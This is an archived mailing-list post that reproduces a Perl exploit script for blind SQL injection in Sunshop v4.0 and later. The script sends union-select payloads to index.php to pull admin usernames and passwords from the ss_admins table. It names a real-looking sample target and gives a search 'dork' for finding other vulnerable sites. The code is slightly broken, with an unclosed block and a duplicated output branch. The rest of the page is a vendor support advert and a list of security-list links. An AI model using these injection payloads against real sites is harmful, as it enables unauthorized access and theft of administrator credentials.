Sunshop v4.0 <= Blind SQL Injection exploit

#!/usr/bin/perl -w
#Sunshop v4.0 <= Blind SQL Injection exploit #Vendor : http://www.turnkeywebtools.com/
#Found : iFX a.k.a inversFX
#makaseh buwat kk :
# str0ke, Solpot, ibnusina, akukasih, irvian, arioo, Sin~X, Bithedz, r0t0r
#Scr3W_W0rM, Matdhule, home_edition2001, k1tk4t, x-ace, drygol, bluespy all friends :)
#bot pets : sqlscan, xcart, hantu_internet
#and all on #phreakcuy , #nyubicrew, #poet @ irc.mildnet.org , and private chan #noscan
#duh jadi keinget seseorang krn denger lagu kangen band - usai sudah ..... :( , kangen ikz ama temen2 skolah T_T

use LWP::UserAgent;
die "Example: $0 http://victim.com/\n" unless @ARGV;

$b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/index.php?l=account&c=1'%20and%201=1%20union%20select%201,substring((select%20substring((substring((select%20substring((select%20concat(char(117,115,101,114,110,97,109,101,58),username,0x2f,char(112,97,115,115,119,111,114,100,58),password,0x2f,char(105,102,120))%20from%20ss_admins%20order%20by%20id%20asc%20limit%201.0),1,255)),1,255)),1,255)),1,255),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*"; $host1 = $ARGV[0] . "/index.php?l=account&c=1'%20and%201=1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,0x2f,char(112,97,115,115,119,111,114,100,58),password,0x2f,char(105,102,120)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31%20from%20ss_admins%20order%20by%20id%20asc%20limit%201.0/*";

$res = $b->request(HTTP::Request->new(GET=>$host)); $res1 = $b->request(HTTP::Request->new(GET=>$host1));

$answer = $res->content;
$answer1 = $res1->content;

if ($answer =~ /username:(.*)\/password:(.*)\/ifx/){

	print "\nNih loginna ----[ I  ]\n";
	print "\n[+] Admin username: $1";
	print "\n[+] Admin password: $2";

	print "\nNih loginna ----[ II ]\n";
	print "\n[+] Admin username: $1";
	print "\n[+] Admin password: $2";

#sample target -> http://www.shpresa-al.com/
#dork : thinkin it out , if magic gpc is on , just try it :P
Received on Mon Aug 27 13:58:05 2007

Do you need help?

In addition to our free technical library, Pantek provides professional IT services to companies who utilize Open Source software: Learn more about Pantek's Technical Support offerings Place an order for 24/7/365 Technical Support here Learn more about Pantek, who we are, and what we do Chat with a Live Operator Related securityfocus.com Links bugtraq certification focus-bsd focus-ids focus-ih focus-linux focus-ms focus-sun focus-unix-other focus-virus forensics incidents libnet linux-secnews ms-secnews pen-test secpapers secprog sectools secureshell security-basics securityjobs sf-news vuln-dev webappsec Request more information about Pantek